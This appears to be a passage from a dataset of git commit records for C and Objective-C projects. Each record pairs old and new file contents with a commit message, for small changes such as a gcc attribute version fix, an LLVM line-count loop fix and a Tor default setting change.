/bitcoin,n1bor\/bitcoin,alecalve\/bitcoin,jonasschnelli\/bitcoin,midnightmagic\/bitcoin,jlopp\/statoshi,kallewoof\/bitcoin,midnightmagic\/bitcoin,achow101\/bitcoin,pstratem\/bitcoin,dscotese\/bitcoin,mruddy\/bitcoin,fanquake\/bitcoin,cdecker\/bitcoin,yenliangl\/bitcoin,prusnak\/bitcoin,GroestlCoin\/bitcoin,tecnovert\/particl-core,pstratem\/bitcoin,jonasschnelli\/bitcoin,cdecker\/bitcoin,AkioNak\/bitcoin,GroestlCoin\/GroestlCoin,pstratem\/bitcoin,namecoin\/namecoin-core,jamesob\/bitcoin,apoelstra\/bitcoin,dscotese\/bitcoin,mm-s\/bitcoin,GroestlCoin\/GroestlCoin,bitcoinsSG\/bitcoin,yenliangl\/bitcoin,litecoin-project\/litecoin,yenliangl\/bitcoin,rnicoll\/bitcoin,Xekyo\/bitcoin,practicalswift\/bitcoin,namecoin\/namecore,instagibbs\/bitcoin,fujicoin\/fujicoin,qtumproject\/qtum,namecoin\/namecore,sstone\/bitcoin,JeremyRubin\/bitcoin,rnicoll\/dogecoin,qtumproject\/qtum,rnicoll\/dogecoin,Sjors\/bitcoin,tecnovert\/particl-core,jamesob\/bitcoin,instagibbs\/bitcoin,bitcoinknots\/bitcoin,ajtowns\/bitcoin,mm-s\/bitcoin,andreaskern\/bitcoin,rnicoll\/bitcoin,jamesob\/bitcoin,lateminer\/bitcoin,alecalve\/bitcoin,midnightmagic\/bitcoin,MeshCollider\/bitcoin,pstratem\/bitcoin,prusnak\/bitcoin,rnicoll\/dogecoin,particl\/particl-core,ElementsProject\/elements,ElementsProject\/elements,kallewoof\/bitcoin,jambolo\/bitcoin,ajtowns\/bitcoin,sstone\/bitcoin,GroestlCoin\/bitcoin,ajtowns\/bitcoin,domob1812\/bitcoin,namecoin\/namecore,mm-s\/bitcoin,jamesob\/bitcoin,GroestlCoin\/GroestlCoin,sstone\/bitcoin,domob1812\/namecore,n1bor\/bitcoin,jonasschnelli\/bitcoin,jlopp\/statoshi,domob1812\/namecore,lateminer\/bitcoin,apoelstra\/bitcoin,AkioNak\/bitcoin,domob1812\/bitcoin"}
{"commit":"447a5d8024b547e4b008268f128456ca3b764b6b","old_file":"src\/test.c","new_file":"src\/test.c","old_contents":"#include <stdio.h>\nint main() {\n\tint a = 0;\n\twhile(1) {\n\t\tprintf(\"%d\\t\",a);\n\t\tprintf(\"a = 0x%x\\n\",a);\n\t\tint temp;\n\t\tscanf(\"%d\",&temp);\n\t\tif(temp == 0) {\n\t\t\tcontinue;\n\t\t}\n\t\telse {\n\t\t\ta = temp;\n\t\t}\n\t\tprintf(\"%d\\t\",a);\n\t\tprintf(\"a changed 0x%x\\n\",a);\n\t}\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\nint main() {\n  int a = 0;\n  while(1) {\n    printf(\"%d\\t\",a);\n    printf(\"a = 0x%x\\n\",a);\n    int temp;\n    scanf(\"%d\",&temp);\n    if(temp == 0) {\n      continue;\n    }\n    else {\n      a = temp;\n    }\n    printf(\"%d\\t\",a);\n    printf(\"a changed 0x%x\\n\",a);\n  }\n  return 0;\n}\n","subject":"Test file tab to space","message":"Test file tab to space\n","lang":"C","license":"bsd-3-clause","repos":"allencch\/med,allencch\/med,allencch\/med"}
{"commit":"25caea025ae66c815cc85599e51b0b07d9957321","old_file":"RectConfinementForce.h","new_file":"RectConfinementForce.h","old_contents":"\/*===- RectConfinementForce.h - libSimulation -=================================\n*\n*                                  DEMON\n* \n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef RECTCONFINEMENTFORCE_H\n#define RECTCONFINEMENTFORCE_H\n\n#include \"Force.h\"\n#include \"VectorCompatibility.h\"\n\nclass RectConfinementForce : public Force\n{\t\npublic:\n\tRectConfinementForce(Cloud * const myCloud, double confineConstX, double confineConstY); \/\/ confinement consts must be positive!\n\t~RectConfinementForce() {} \/\/ destructor\n\n\/\/ public functions:\n\t\/\/ Note: currentTime parameter is necessary (due to parent class) but unused\n\tvoid force1(const double currentTime); \/\/ rk substep 1\n\tvoid force2(const double currentTime); \/\/ rk substep 2\n\tvoid force3(const double currentTime); \/\/ rk substep 3\n\tvoid force4(const double currentTime); \/\/ rk substep 4\n\n\tvoid writeForce(fitsfile * const file, int * const error) const;\n\tvoid readForce(fitsfile * const file, int * const error);\n\nprivate:\n\/\/ private variables:\n\tdouble confineX;\n\tdouble confineY;\n\n\/\/ private functions:\n\tvoid force(const unsigned int currentParticle, const __m128d currentPositionX, const __m128d currentPositionY);\n};\n\n#endif \/\/ RECTCONFINEMENTFORCE_H\n","new_contents":"\/*===- RectConfinementForce.h - libSimulation -=================================\n*\n*                                  DEMON\n* \n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef RECTCONFINEMENTFORCE_H\n#define RECTCONFINEMENTFORCE_H\n\n#include \"Force.h\"\n#include \"VectorCompatibility.h\"\n\nclass RectConfinementForce : public Force\n{\t\npublic:\n\tRectConfinementForce(Cloud * const myCloud, double confineConstX, double confineConstY);\n\t\/\/ IMPORTANT: In the above constructor, confineConst_'s must be positive!\n\t~RectConfinementForce() {} \/\/ destructor\n\n\/\/ public functions:\n\t\/\/ Note: currentTime parameter is necessary (due to parent class) but unused\n\tvoid force1(const double currentTime); \/\/ rk substep 1\n\tvoid force2(const double currentTime); \/\/ rk substep 2\n\tvoid force3(const double currentTime); \/\/ rk substep 3\n\tvoid force4(const double currentTime); \/\/ rk substep 4\n\n\tvoid writeForce(fitsfile * const file, int * const error) const;\n\tvoid readForce(fitsfile * const file, int * const error);\n\nprivate:\n\/\/ private variables:\n\tdouble confineX;\n\tdouble confineY;\n\n\/\/ private functions:\n\tvoid force(const unsigned int currentParticle, const __m128d currentPositionX, const __m128d currentPositionY);\n};\n\n#endif \/\/ RECTCONFINEMENTFORCE_H\n","subject":"Reword comment to be consistent with comment in ConfinementForce.","message":"Reword comment to be consistent with comment in ConfinementForce.","lang":"C","license":"bsd-3-clause","repos":"leios\/demonsimulationcode,leios\/demonsimulationcode"}
{"commit":"ffc3e8a32700194477d5d576c8bd3f7df853a6b1","old_file":"common\/macros.h","new_file":"common\/macros.h","old_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n   Copyright (C) 2009 Red Hat, Inc.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#ifndef __MACROS_H\n#define __MACROS_H\n\n#if    __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5)\n#define SPICE_ATTR_PRINTF(a,b)                               \\\n    __attribute__((format(printf,a,b)))\n#else\n#define SPICE_ATTR_PRINTF(a,b)\n#endif \/* __GNUC__ *\/\n\n#if    __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 5)\n#define SPICE_ATTR_NORETURN                                  \\\n    __attribute__((noreturn))\n#else\n#define SPICE_ATTR_NORETURN\n#endif \/* __GNUC__ *\/\n\n\n#endif \/* __MACROS_H *\/\n","new_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n   Copyright (C) 2009 Red Hat, Inc.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#ifndef __MACROS_H\n#define __MACROS_H\n\n#if    __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 5)\n#define SPICE_ATTR_NORETURN                                  \\\n    __attribute__((noreturn))\n#define SPICE_ATTR_PRINTF(a,b)                               \\\n    __attribute__((format(printf,a,b)))\n#else\n#define SPICE_ATTR_NORETURN\n#define SPICE_ATTR_PRINTF\n#endif \/* __GNUC__ *\/\n\n\n#endif \/* __MACROS_H *\/\n","subject":"Fix min gcc version for __attribute__(format)","message":"Fix min gcc version for __attribute__(format)\n\nWe currently use it only on gcc 4.5 or newer, but it was actually\nintroduced much earlier than that. It's documented in gcc 2.95.3\nmanual:\nhttp:\/\/gcc.gnu.org\/onlinedocs\/gcc-2.95.3\/gcc_4.html#SEC84\nand glib uses starting from gcc 2.2.5.\nThis commit uses the same minimum version as glib.\n\nThis was causing warnings on RHEL6 systems which have gcc 4.4.7\n","lang":"C","license":"lgpl-2.1","repos":"fgouget\/spice-common,fgouget\/spice-common,elmarco\/spice-common,fgouget\/spice-common,SPICE\/spice-common,freedesktop-unofficial-mirror\/spice__spice-common,elmarco\/spice-common,fgouget\/spice-common,freedesktop-unofficial-mirror\/spice__spice-common,freedesktop-unofficial-mirror\/spice__spice-common,elmarco\/spice-common,freedesktop-unofficial-mirror\/spice__spice-common,Fantu\/spice-common,SPICE\/spice-common,Fantu\/spice-common,Fantu\/spice-common,Fantu\/spice-common,SPICE\/spice-common,elmarco\/spice-common"}
{"commit":"f363bf4d9d27601fb67e4a2e5bc2c730cf2eb156","old_file":"Pukli\/src\/Menu_state.h","new_file":"Pukli\/src\/Menu_state.h","old_contents":"#ifndef __MENU_STATE_H__\n#define __MENU_STATE_H__\n\n#include <vector>\n#include \"Game_state.h\"\n#include \"Game_object.h\"\n\nclass Menu_state : public Game_state {\npublic:\n\tvoid update();\n\tvoid render();\n\n\tbool on_enter();\n\tbool on_exit();\n\n\tconst std::string get_state_id() const { return s_menu_id; };\nprivate:\n\tstatic const std::string s_menu_id;\n\tstd::vector<Game_object*> m_game_objects;\n\tstatic void menu_to_play();\n\tstatic void menu_to_exit();\n};\n\n#endif","new_contents":"#ifndef __MENU_STATE_H__\n#define __MENU_STATE_H__\n\n#include <vector>\n#include \"Game_state.h\"\n#include \"Game_object.h\"\n\nclass Menu_state : public Game_state {\npublic:\n\tvoid update();\n\tvoid render();\n\n\tbool on_enter();\n\tbool on_exit();\n\n\tconst std::string get_state_id() const { return s_menu_id; };\nprivate:\n\tstatic const std::string s_menu_id;\n\tstd::vector<Game_object*> m_game_objects;\n};\n\n#endif","subject":"Revert \"added button callback functions\"","message":"Revert \"added button callback functions\"\n\nThis reverts commit 8962b70fe01cbbd0bd4a82a8c68208ab276add31.\n","lang":"C","license":"mit","repos":"AdjustmentBeaver\/pukli,AdjustmentBeaver\/pukli"}
{"commit":"7fa5884b0122ecaaee5a4a872a6a8b6b73012b58","old_file":"webkit\/glue\/form_data.h","new_file":"webkit\/glue\/form_data.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_FORM_DATA_H__\n#define WEBKIT_GLUE_FORM_DATA_H__\n\n#include <vector>\n\n#include \"base\/string_util.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nnamespace webkit_glue {\n\n\/\/ Holds information about a form to be filled and\/or submitted.\nstruct FormData {\n  \/\/ The name of the form.\n  string16 name;\n  \/\/ GET or POST.\n  string16 method;\n  \/\/ The URL (minus query parameters) containing the form.\n  GURL origin;\n  \/\/ The action target of the form.\n  GURL action;\n  \/\/ true if this form was submitted by a user gesture and not javascript.\n  bool user_submitted;\n  \/\/ A vector of all the input fields in the form.\n  std::vector<FormField> fields;\n\n  FormData() : user_submitted(false) {}\n\n  \/\/ Used by FormStructureTest.\n  inline bool operator==(const FormData& form) const {\n    return (name == form.name &&\n            StringToLowerASCII(method) == StringToLowerASCII(form.method) &&\n            origin == form.origin &&\n            action == form.action &&\n            user_submitted == form.user_submitted &&\n            fields == form.fields);\n  }\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_FORM_DATA_H__\n","subject":"Add a default constructor for FormData. There are too many places that create FormDatas, and we shouldn't need to initialize user_submitted for each call site.","message":"AutoFill: Add a default constructor for FormData. There are too many places\nthat create FormDatas, and we shouldn't need to initialize user_submitted for\neach call site.\n\nBUG=50423\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/3074023\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@54641 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium"}
{"commit":"b4aa51bece92b29c40af44290210e1abdfcc2078","old_file":"3rdparty\/GLKit\/GLKMath.h","new_file":"3rdparty\/GLKit\/GLKMath.h","old_contents":"\/\/\n\/\/  GLKMath.h\n\/\/  GLKit\n\/\/\n\/\/  Copyright (c) 2011, Apple Inc. All rights reserved.\n\/\/\n\n#include <GLKit\/GLKMathTypes.h>\n\n#include <GLKit\/GLKMatrix3.h>\n#include <GLKit\/GLKMatrix4.h>\n#include <GLKit\/GLKVector2.h>\n#include <GLKit\/GLKVector3.h>\n#include <GLKit\/GLKVector4.h>\n#include <GLKit\/GLKQuaternion.h>\n\n#include <GLKit\/GLKMatrixStack.h>\n\n#include <GLKit\/GLKMathUtils.h>\n","new_contents":"\/\/\n\/\/  GLKMath.h\n\/\/  GLKit\n\/\/\n\/\/  Copyright (c) 2011, Apple Inc. All rights reserved.\n\/\/\n\n#include <GLKit\/GLKMathTypes.h>\n\n#include <GLKit\/GLKMatrix3.h>\n#include <GLKit\/GLKMatrix4.h>\n#include <GLKit\/GLKVector2.h>\n#include <GLKit\/GLKVector3.h>\n#include <GLKit\/GLKVector4.h>\n#include <GLKit\/GLKQuaternion.h>\n\n\/\/#include <GLKit\/GLKMatrixStack.h>\n\n#include <GLKit\/GLKMathUtils.h>\n","subject":"Remove GLKMatrixStack ... thanks Twilight! :D","message":"Remove GLKMatrixStack ... thanks Twilight! :D\n","lang":"C","license":"bsd-3-clause","repos":"MiJyn\/nightmare,MiJyn\/nightmare"}
{"commit":"8f40a8f6eafed187bc8d5ed38b1d080c9dc2af98","old_file":"src\/torcontrol.h","new_file":"src\/torcontrol.h","old_contents":"\/\/ Copyright (c) 2015 The BitCoin Core developers\n\/\/ Copyright (c) 2016 The Silk Network developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n\/**\n * Functionality for communicating with Tor.\n *\/\n#ifndef SILK_TORCONTROL_H\n#define SILK_TORCONTROL_H\n\n#include \"scheduler.h\"\n\nextern const std::string DEFAULT_TOR_CONTROL;\nstatic const bool DEFAULT_LISTEN_ONION = true;\n\nvoid StartTorControl(boost::thread_group& threadGroup, CScheduler& scheduler);\nvoid InterruptTorControl();\nvoid StopTorControl();\n\n#endif \/* SILK_TORCONTROL_H *\/\n","new_contents":"\/\/ Copyright (c) 2015 The BitCoin Core developers\n\/\/ Copyright (c) 2016 The Silk Network developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n\/**\n * Functionality for communicating with Tor.\n *\/\n#ifndef SILK_TORCONTROL_H\n#define SILK_TORCONTROL_H\n\n#include \"scheduler.h\"\n\nextern const std::string DEFAULT_TOR_CONTROL;\nstatic const bool DEFAULT_LISTEN_ONION = false;\n\nvoid StartTorControl(boost::thread_group& threadGroup, CScheduler& scheduler);\nvoid InterruptTorControl();\nvoid StopTorControl();\n\n#endif \/* SILK_TORCONTROL_H *\/\n","subject":"Set Tor Default Monitoring to False","message":"Set Tor Default Monitoring to False","lang":"C","license":"mit","repos":"SilkNetwork\/Silk-Core,duality-solutions\/Sequence,SilkNetwork\/Silk-Core,SilkNetwork\/Silk-Core,duality-solutions\/Sequence,duality-solutions\/Sequence,SilkNetwork\/Silk-Core,duality-solutions\/Sequence,SilkNetwork\/Silk-Core,duality-solutions\/Sequence,SilkNetwork\/Silk-Core,duality-solutions\/Sequence"}
{"commit":"c6e1f67b17b4cb9d707af1245c1ecf00f91f23c0","old_file":"utils\/count\/count.c","new_file":"utils\/count\/count.c","old_contents":"\/*===- count.c - The 'count' testing tool ---------------------------------===*\\\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is distributed under the University of Illinois Open Source\n * License. See LICENSE.TXT for details.\n *\n\\*===----------------------------------------------------------------------===*\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char **argv) {\n  unsigned Count, NumLines, NumRead;\n  char Buffer[4096], *End;\n\n  if (argc != 2) {\n    fprintf(stderr, \"usage: %s <expected line count>\\n\", argv[0]);\n    return 2;\n  }\n\n  Count = strtol(argv[1], &End, 10);\n  if (*End != '\\0' && End != argv[1]) {\n    fprintf(stderr, \"%s: invalid count argument '%s'\\n\", argv[0], argv[1]);\n    return 2;\n  }\n\n  NumLines = 0;\n  while ((NumRead = fread(Buffer, 1, sizeof(Buffer), stdin))) {\n    unsigned i;\n\n    for (i = 0; i != NumRead; ++i)\n      if (Buffer[i] == '\\n')\n        ++NumLines;\n  }\n    \n  if (!feof(stdin)) {\n    fprintf(stderr, \"%s: error reading stdin\\n\", argv[0]);\n    return 3;\n  }\n\n  if (Count != NumLines) {\n    fprintf(stderr, \"Expected %d lines, got %d.\\n\", Count, NumLines);\n    return 1;\n  }\n\n  return 0;\n}\n","new_contents":"\/*===- count.c - The 'count' testing tool ---------------------------------===*\\\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is distributed under the University of Illinois Open Source\n * License. See LICENSE.TXT for details.\n *\n\\*===----------------------------------------------------------------------===*\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char **argv) {\n  unsigned Count, NumLines, NumRead;\n  char Buffer[4096], *End;\n\n  if (argc != 2) {\n    fprintf(stderr, \"usage: %s <expected line count>\\n\", argv[0]);\n    return 2;\n  }\n\n  Count = strtol(argv[1], &End, 10);\n  if (*End != '\\0' && End != argv[1]) {\n    fprintf(stderr, \"%s: invalid count argument '%s'\\n\", argv[0], argv[1]);\n    return 2;\n  }\n\n  NumLines = 0;\n  do {\n    unsigned i;\n\n    NumRead = fread(Buffer, 1, sizeof(Buffer), stdin);\n\n    for (i = 0; i != NumRead; ++i)\n      if (Buffer[i] == '\\n')\n        ++NumLines;\n  } while (NumRead == sizeof(Buffer));\n    \n  if (!feof(stdin)) {\n    fprintf(stderr, \"%s: error reading stdin\\n\", argv[0]);\n    return 3;\n  }\n\n  if (Count != NumLines) {\n    fprintf(stderr, \"Expected %d lines, got %d.\\n\", Count, NumLines);\n    return 1;\n  }\n\n  return 0;\n}\n","subject":"Fix extra fread after EOF, non-wires-crossed version.","message":"Fix extra fread after EOF, non-wires-crossed version.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@105270 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap"}
{"commit":"15c0a7f99f4179861dc1f77969bf2b62897e4e25","old_file":"Source\/BugsnagSink.h","new_file":"Source\/BugsnagSink.h","old_contents":"\/\/\n\/\/  BugsnagSink.h\n\/\/\n\/\/  Created by Conrad Irwin on 2014-10-01.\n\/\/\n\/\/  Copyright (c) 2014 Bugsnag, Inc. All rights reserved.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall remain in place\n\/\/ in this source code.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <KSCrash\/KSCrash.h>\n\n@interface BugsnagSink : NSObject <KSCrashReportFilter>\n\n@end\n","new_contents":"\/\/\n\/\/  BugsnagSink.h\n\/\/\n\/\/  Created by Conrad Irwin on 2014-10-01.\n\/\/\n\/\/  Copyright (c) 2014 Bugsnag, Inc. All rights reserved.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall remain in place\n\/\/ in this source code.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <KSCrash\/KSCrashReportFilter.h>\n\n@interface BugsnagSink : NSObject <KSCrashReportFilter>\n\n@end\n","subject":"Update import to be compatible with KSCrash 1.8.8+","message":"Update import to be compatible with KSCrash 1.8.8+\n","lang":"C","license":"mit","repos":"bugsnag\/bugsnag-cocoa,bugsnag\/bugsnag-cocoa,bugsnag\/bugsnag-cocoa,bugsnag\/bugsnag-cocoa"}
{"commit":"31455c34d693edfbf6e29bc6c669b9178b4cb223","old_file":"cocos2d\/CCActionManager_Private.h","new_file":"cocos2d\/CCActionManager_Private.h","old_contents":"\/*\n * cocos2d for iPhone: http:\/\/www.cocos2d-iphone.org\n *\n * Copyright (c) 2013-2014 Cocos2D Authors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#import \"CCActionManager.h\"\n\n@interface CCActionManager ()\n-(void)migrateActions:(id)target from:(CCActionManager*)oldManager;\n@end\n","new_contents":"\/*\n * cocos2d for iPhone: http:\/\/www.cocos2d-iphone.org\n *\n * Copyright (c) 2013-2014 Cocos2D Authors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#import \"CCActionManager.h\"\n\n@interface CCActionManager ()\n\/\/ TODO eliminate file\n@end\n","subject":"Remove unneeded method from private header","message":"Remove unneeded method from private header","lang":"C","license":"mit","repos":"TukekeSoft\/cocos2d-spritebuilder,TukekeSoft\/cocos2d-spritebuilder,TukekeSoft\/cocos2d-spritebuilder,TukekeSoft\/cocos2d-spritebuilder"}
